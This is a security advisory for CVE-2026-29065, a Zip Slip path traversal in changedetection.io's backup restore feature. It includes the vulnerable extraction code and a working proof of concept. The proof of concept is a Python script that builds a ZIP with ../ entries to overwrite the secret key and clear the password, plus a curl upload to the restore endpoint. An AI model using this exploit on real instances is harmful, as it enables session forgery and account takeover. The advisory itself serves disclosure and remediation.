CVE-2026-29065
changedetection.io has Zip Slip vulnerability in the backup restore functionality
Description
### Summary A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. ### Details A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory. Vulnerable Code (lines 50-53): ``` def restore_backup(self, filename): with zipfile.ZipFile(filename, 'r') as zip_ref: # VULNERABLE: No path validation before extraction zip_ref.extractall(self.datastore_path) ``` The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory. | Path in ZIP | Target File | Impact | | --- | --- | --- | | ../secret.txt | Flask secret key | Session forgery, auth bypass | | ../changedetection.json | App settings | Disable password, inject backdoor | | ../url-watches.json | Watch index | Inject malicious watches | | ../{uuid}/watch.json | Watch config | Modify any watch | Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations ### PoC Step 1: Create Malicious ZIP ``` import zipfile import json with zipfile.ZipFile("zipslip.zip", "w") as zf: # Escape extraction directory with ../ zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET") zf.writestr("../changedetection.json", json.dumps({ "settings": {"application": {"password": ""}} })) zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({ "url": "https://attacker.com/zipslip-pwned", "title": "🔴 ZIPSLIP-PROOF" })) ``` Step 2: Upload via Restore Endpoint ```curl -X POST "http://target:5000/backups/restore/start" \ -F "zip_file=@zipslip.zip" \ -F "include_watches=y" \ -F "include_settings=y" ``` ###Step 3: Verify Path Traversal ### Check if watch escaped to /datastore/ ###ls -la /datastore/ ### Look for: pwned-uuid-1234/ ### Verify in UI ```curl "http://target:5000/" | grep "ZIPSLIP"``` <img width="1920" height="1080" alt="f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM" src="https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38" />
How to fix CVE-2026-29065
To remediate CVE-2026-29065, upgrade the affected package to a fixed version below.